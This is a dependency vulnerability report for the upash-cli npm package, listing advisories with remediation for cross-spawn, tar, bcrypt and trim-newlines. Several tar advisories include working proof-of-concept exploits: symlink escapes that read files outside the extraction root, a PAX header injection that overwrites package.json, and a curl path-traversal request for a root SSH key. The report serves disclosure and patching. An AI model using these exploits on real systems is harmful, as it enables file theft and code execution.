Vulnerabilities |
38 via 39 paths |
|---|---|
Dependencies |
205 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
new
- Vulnerable module: cross-spawn
- Introduced through: update-notifier@2.5.0
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › update-notifier@2.5.0 › boxen@1.3.0 › term-size@1.2.0 › execa@0.7.0 › cross-spawn@5.1.0Remediation: Upgrade to update-notifier@4.0.0.
Overview
Affected versions of this package are vulnerable to Command Injection via the batch-file detection logic in lib/parse.js on Windows, when a command passed to spawn or spawnSync is not written as a plain program name or path. Commands containing double quotes, command-name delimiters (space, tab, ,, ;, =), trailing whitespace, or a child-specific PATHEXT can cause cross-spawn to miss that cmd.exe will resolve the target to a batch file. The arguments are then escaped as though the target were a regular executable rather than a batch file, so command metacharacters in an untrusted argument (for example "&calc) are interpreted by cmd.exe and execute arbitrary commands.
Note: This is only exploitable when the application passes a command in one of the affected forms (quoted, containing delimiters, with trailing whitespace, or with a custom PATHEXT) and passes untrusted input as arguments on Windows.
Workaround
Pass the program as the command and its arguments separately in args, without quotes, e.g. spawn('npm', ['install', ...]), and do not set PATHEXT in options.env.
Remediation
Upgrade cross-spawn to version 6.0.0, 6.0.8, 7.1.1 or higher.
References
critical severity
new
- Vulnerable module: cross-spawn
- Introduced through: update-notifier@2.5.0
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › update-notifier@2.5.0 › boxen@1.3.0 › term-size@1.2.0 › execa@0.7.0 › cross-spawn@5.1.0Remediation: Upgrade to update-notifier@4.0.0.
Overview
Affected versions of this package are vulnerable to Command Injection via insufficient escaping in lib/util/escape.js when spawning batch files on Windows. When a batch file outside node_modules/.bin forwards its arguments (e.g. with %*), cmd.exe parses them a second time, and an attacker-controlled argument can break out of its quotes to execute arbitrary commands through npm.cmd, globally installed package shims, or user batch files. Additionally, batch file detection can be bypassed with trailing dots or spaces in the command name, %VAR% in an argument can be expanded if an environment variable named VAR^ exists, and !VAR! can be expanded when delayed expansion is enabled in the registry.
Note: This is only exploitable on Windows when untrusted input is passed as arguments to a command that runs through cmd.exe; other platforms and options.shell mode are not affected.
Workaround
Validate untrusted input so that only a safe subset is allowed, and call executables directly rather than through batch files.
Remediation
Upgrade cross-spawn to version 6.0.0, 6.0.7, 7.1.0 or higher.
References
high severity
- Vulnerable module: cross-spawn
- Introduced through: update-notifier@2.5.0
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › update-notifier@2.5.0 › boxen@1.3.0 › term-size@1.2.0 › execa@0.7.0 › cross-spawn@5.1.0Remediation: Upgrade to update-notifier@4.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.
Remediation
Upgrade tar to version 7.5.19 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via decompression without backpressure in src/parse.ts (locations 576-577, 551-555, 343) and unbounded queuing of zero-size entries. When reading from a compressed archive, each input chunk is inflated synchronously and its output is buffered in a paused ReadEntry without any backpressure, so memory consumption is not bounded as long as the total decompressed size stays within the maxDecompressionRatio limit. In the same write path, zero-size entries are queued without limit, compounding the unbounded memory growth. A service that extracts or lists untrusted compressed archives can be forced to consume far more memory than the archive's compressed size implies.
PoC
`exploit_tests/test_vuln_008_*` and `_011_` measure memory for a control archive and an attack archive against the unmodified 7.5.22 build. Output is in `exploit_tests/evidence/`. The tests were run on macOS.
Note: Tests were run on macOS against the unmodified 7.5.22 build.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
high severity
- Vulnerable module: bcrypt
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8
Overview
bcrypt is an A library to help you hash passwords.
Affected versions of this package are vulnerable to Insecure Encryption. Data is truncated wrong when its length is greater than 255 bytes.
Remediation
Upgrade bcrypt to version 5.0.0 or higher.
References
high severity
- Vulnerable module: trim-newlines
- Introduced through: meow@5.0.0
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › meow@5.0.0 › trim-newlines@2.0.0Remediation: Upgrade to meow@6.0.0.
Overview
trim-newlines is a Trim newlines from the start and/or end of a string
Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to CRLF Injection via parseKV in src/pax.ts, which splits PAX extended-header records on newline characters rather than by their declared byte length. An attacker who can embed a newline in any PAX field value - either by crafting an archive directly or by planting a filename containing a newline into a directory that is subsequently archived - causes the parser to treat bytes after the embedded newline as an independent PAX record. This allows forging arbitrary PAX attributes (path, linkpath, size, uid, and others) for an extracted entry, overriding the genuine header-derived values via Object.assign in ReadEntry#slurp. The highest-impact consequence is a path overwrite: an entry's path is rewritten to an attacker-chosen location, writing file content outside the intended extraction directory. On Windows, when used via npm install with strip: 1, this overwrites the installed package's package.json and executes an injected postinstall script, achieving remote code execution.
PoC
PoC bundle (zip): https://github.com/user-attachments/files/33712230/poc-bundle.zip — contains (A) the self-contained POSIX repro, (B) the real-Windows npm RCE kit (build.js + crafted evil-pkg-1.0.0.tgz + poc.ps1), and a win32 strip-bypass simulation.
(A) Extraction, no strip (POSIX & Windows) — path overwrite. A file named é\n21 path=package.json\n is placed in safe/, packed with prefix: 'bundle'. The real entry path is bundle/safe/é..., but the forged path=package.json record overrides it, so extraction writes package.json at the extraction root, escaping the bundle/safe/ prefix and overwriting a pre-existing package.json:
--- archive entries (as parsed) ---
"bundle/safe/" Directory
"bundle/safe/normal.txt" File
"package.json" File <-- forged, escaped the prefix
--- result ---
out/package.json = "PWNED-BY-ATTACKER ..."
*** VULNERABLE: package.json was overwritten ***
Minimal script (run against dist/ of current HEAD):
const fs = require('fs'), path = require('path'), tar = require('tar')
const root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out')
fs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true})
fs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true})
fs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT')
fs.writeFileSync(path.join(src,'safe','é\n21 path=package.json\n'),'PWNED-BY-ATTACKER')
;(async () => {
await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe'])
await tar.x({ file: path.join(root,'pkg.tar'), cwd: out })
console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8'))
})()
(B) npm install on Windows — postinstall RCE. With npm's strip: 1, the Windows-only normalizeWindowsPath turns an injected x\package.json into two components x/package.json; strip:1 removes x, leaving package.json, which overwrites the installed package's package.json and runs its injected postinstall. Verified on Windows Server 2022, Node v22.14.0, npm 10.9.2 — npm install completed and ran a postinstall that was not present in the published package.json, writing an arbitrary file. (On POSIX, \ is a normal filename byte and the injected value cannot contain /, so npm's strip:1 happens to reduce it to empty — POSIX+npm is incidentally safe; direct node-tar use without strip is not.)
Note: The PoC states it should be run against the dist/ of current HEAD on a POSIX or Windows system with no specific runtime version required for part A, and part B was verified on Windows Server 2022, Node v22.14.0, npm 10.9.2.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in read-entry.js, which fails to filter the linkpath field when applying Global PAX Extended Header (g-type) fields to parsed entries. header.js correctly excludes linkpath from global headers with a guard clause, but read-entry.js contains no equivalent filter, so an attacker-controlled linkpath value from a Global Extended Header is injected into every subsequent tar.Parser entry - including plain File and Directory entries - with no warning raised even under strict: true. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths or create symlinks without revalidating the value can be made to read or write files outside the intended directory via a path-traversal symlink.
Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without bounds-checking; applications that use only tar.x() / tar.extract() are not affected because the Unpack layer's STRIPABSOLUTEPATH guard rejects an escaping linkpath at extraction time.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in src/read-entry.ts, which fails to filter linkpath when applying PAX Global Extended Header (g-type) fields to parsed entries. A tar archive containing a Global Extended Header with a linkpath field causes that attacker-controlled value to be injected into every subsequent entry returned by tar.Parser, including plain File and Directory entries, with no warning raised even under strict: true. Applications that consume tar.Parser or tar.list() directly and use entry.linkpath to build filesystem paths or create symlinks can be made to read or write files outside the intended directory.
Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without revalidating it; tar.x() and tar.extract() are not affected because the Unpack layer independently rejects an escaping linkpath.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict via ReadEntry in src/read-entry.ts and related parsing logic in src/parse.ts and src/pax.ts, which apply PAX extended-header fields inconsistently. ReadEntry copies the PAX size field onto GNU long-name, long-link, and PAX meta entries, causing the parser to frame those entries differently from other tar implementations such as GNU tar, bsdtar, and Python tarfile. An attacker who supplies an archive can cause node-tar to see a different set of entries than a scanner or policy check run before extraction, allowing a file the check did not see to be extracted. Additionally, maxMetaEntrySize is checked against the PAX-overridden entry.size while the meta buffer accumulates header.size bytes, allowing the memory limit to be exceeded, and PAX records are split on newlines rather than by their length field, allowing a value containing a newline to inject a forged record.
PoC
Each finding has a self-contained test in the attached bundle (`exploit_tests/test_vuln_00N_*.cjs`). Each test runs a normal archive (control) and a crafted one (attack) against the unmodified 7.5.22 build, and records both outputs in `exploit_tests/evidence/`. All tests were run on macOS. Behaviour on Linux and Windows wasn't checked, but the affected code is platform-independent.
Note: Tests were run on macOS against the unmodified 7.5.22 build; the advisory notes the affected code is platform-independent.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via the symlink linkpath containment check in src/unpack.ts, which performs a lexical path.resolve rather than a filesystem-aware resolution. An attacker can craft a tar archive with two entries: a first symlink pointing to . (accepted as within cwd) and a second symlink whose target traverses through the first via s1/../secret.txt. Because path.resolve collapses the .. lexically, the resolved path appears to remain inside the extraction root, but the kernel follows the first symlink before applying .., causing the second symlink to point outside the extraction directory. This allows arbitrary file read of any file accessible to the extracting process by planting a symlink that escapes the extraction root.
PoC
tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.
const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1 warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1 warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false
The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.
Note: The PoC targets tar 7.5.22, tar-stream 3.2.2, and Node.js 22, run inside a Docker container with --network none.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via a backslash separator differential in the symlink linkpath containment check inside Unpack[STRIPABSOLUTEPATH] in src/unpack.ts. On non-Windows hosts, the containment check splits the symlink linkpath on both / and \ (via replaceAll(/\\/g, '/')), treating backslash as a path separator when counting segments. However, the symlink is created with the raw, unmodified linkpath via fs.symlink(entry.linkpath, entry.absolute), where the kernel treats \ as an ordinary filename character. A segment like A\B counts as two segments to the check but one to the kernel, so a .. run that the check believes stays inside the extraction directory actually escapes it at creation and resolution time. An attacker who supplies a tar archive containing a directory entry with a backslash-padded name and a symlink entry whose linkpath exploits this differential can plant a symlink that resolves to an arbitrary path on the same filesystem, enabling arbitrary file read from outside the extraction directory.
Note: This is only exploitable on non-Windows hosts (Linux/macOS), where backslash is not a path separator at the kernel level.
PoC
Non-Windows host (Linux/macOS), default options. Benign: reads a marker file placed in the PARENT of the extraction dir.
Steps: npm i tar@7.5.22 tar-stream node poc.js
poc.js:
const tar = require('tar'), { pack } = require('tar-stream');
const fs = require('fs'), path = require('path'), os = require('os');
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-'));
const cwd = path.join(base, 'extract'); fs.mkdirSync(cwd);
fs.writeFileSync(path.join(base, 'SENTINEL.txt'), 'OUT-OF-TREE'); // in the PARENT of cwd
const p = pack();
p.entry({ name: 'A\\B', type: 'directory', mode: 0o755 }); // one on-disk segment "A\B"
p.entry({ name: 'escape', type: 'symlink', linkname: 'A\\B/../../SENTINEL.txt', mode: 0o777 });
p.finalize();
const chunks = []; p.on('data', c => chunks.push(c)); p.on('end', async () => {
const tf = path.join(base, 'e.tar'); fs.writeFileSync(tf, Buffer.concat(chunks));
await tar.x({ file: tf, cwd }); // DEFAULT options
console.log('realpath:', fs.realpathSync(path.join(cwd, 'escape')));
console.log('read :', fs.readFileSync(path.join(cwd, 'escape'), 'utf8'));
});
Expected output: cwd/escape resolves to
To show arbitrary read of a real file: use a padding segment of ~50 backslashes plus the matching number of ".." and then "/etc/passwd" as the linkname (and a directory entry named the same padding segment). The resulting symlink resolves to /etc/passwd (verified: first line "root:x:0:0:root:/root:/bin/bash").
Note: The PoC targets a non-Windows host (Linux/macOS) using tar@7.5.22 and tar-stream with default extraction options.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via the [STRIPABSOLUTEPATH] and [SYMLINK] handlers in src/unpack.ts, which perform only a lexical check on symlink linkpaths during extraction. An attacker can craft a tarball containing a symlink (e.g., l1 -> .) followed by a second symlink whose linkpath traverses through the first (e.g., esc -> l1/../outside.txt). Because path.posix.normalize collapses the l1/.. pair textually before any filesystem lstat is performed, the escape check passes, but the kernel resolves l1/.. through the symlink target, placing the resulting symlink outside the extraction directory. Any subsequent read or write through the extracted tree then reaches arbitrary files or directories above the extraction root with the privileges of the extracting user.
PoC
- Build an archive (any tool; e.g. node-tar's own
Header):const fs = require('fs'), tar = require('tar') const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b } fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)])) fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)])) - Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):
